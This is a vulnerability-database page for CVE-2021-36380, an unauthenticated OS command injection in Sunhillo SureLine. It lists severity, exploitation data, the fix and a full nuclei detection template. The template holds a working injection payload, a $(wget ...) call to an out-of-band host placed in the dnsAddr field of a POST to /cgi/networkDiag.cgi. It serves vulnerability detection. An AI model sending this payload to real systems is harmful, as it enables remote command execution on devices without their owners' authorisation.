HexBrain

Browse / CVEs / CVE-2021-36380

CVE-2021-36380· sunhillo / sureline· CWE-78

Sunhillo SureLine <8.7.0.1.1 - Unauthenticated OS Command Injection

Exploited in the wild. Listed by CISA on 2024-03-05; known to be used by ransomware.

criticalseverity
9.8CVSS score
97.8%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Sunhillo SureLine <8.7.0.1.1 is vulnerable to OS command injection. The /cgi/networkDiag.cgi script directly incorporated user-controllable parameters within a shell command, allowing an attacker to manipulate the resulting command by injecting valid OS command input. The following POST request injects a new command that instructs the server to establish a reverse TCP connection to another system, allowing the establishment of an interactive remote shell session.

Impact

Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.

Fix

Upgrade to Sunhillo SureLine version 8.7.0.1.1 or later to mitigate this vulnerability.

How to confirm it

Send: POST /cgi/networkDiag.cgi
Positive when: contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2021-36380 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-36380

info:
  name: Sunhillo SureLine <8.7.0.1.1 - Unauthenticated OS Command Injection
  author: gy741
  severity: critical
  description: Sunhillo SureLine <8.7.0.1.1 is vulnerable to OS command injection. The /cgi/networkDiag.cgi script directly incorporated user-controllable parameters within a shell command, allowing an attacker to manipulate the resulting command by injecting valid OS command input. The following POST request injects a new command that instructs the server to establish a reverse TCP connection to another system, allowing the establishment of an interactive remote shell session.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
  remediation: |
    Upgrade to Sunhillo SureLine version 8.7.0.1.1 or later to mitigate this vulnerability.
  reference:
    - https://research.nccgroup.com/2021/07/26/technical-advisory-sunhillo-sureline-unauthenticated-os-command-injection-cve-2021-36380/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-36380
    - https://www.sunhillo.com/product/sureline/
    - https://github.com/Ostorlab/KEV
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-36380
    cwe-id: CWE-78
    epss-score: 0.97832
    epss-percentile: 0.99907
    cpe: cpe:2.3:a:sunhillo:sureline:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sunhillo
    product: sureline
  tags: cve2021,cve,sureline,rce,oast,sunhillo,kev,vkev,vuln

http:
  - raw:
      - |
        POST /cgi/networkDiag.cgi HTTP/1.1
        Host: {{Hostname}}

        command=2&ipAddr=&dnsAddr=$(wget+http://{{interactsh-url}})&interface=0&netType=0&scrFilter=&dstFilter=&fileSave=false&pcapSave=false&fileSize=

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

References

Use this check only on systems you are authorised to test. Where the data comes from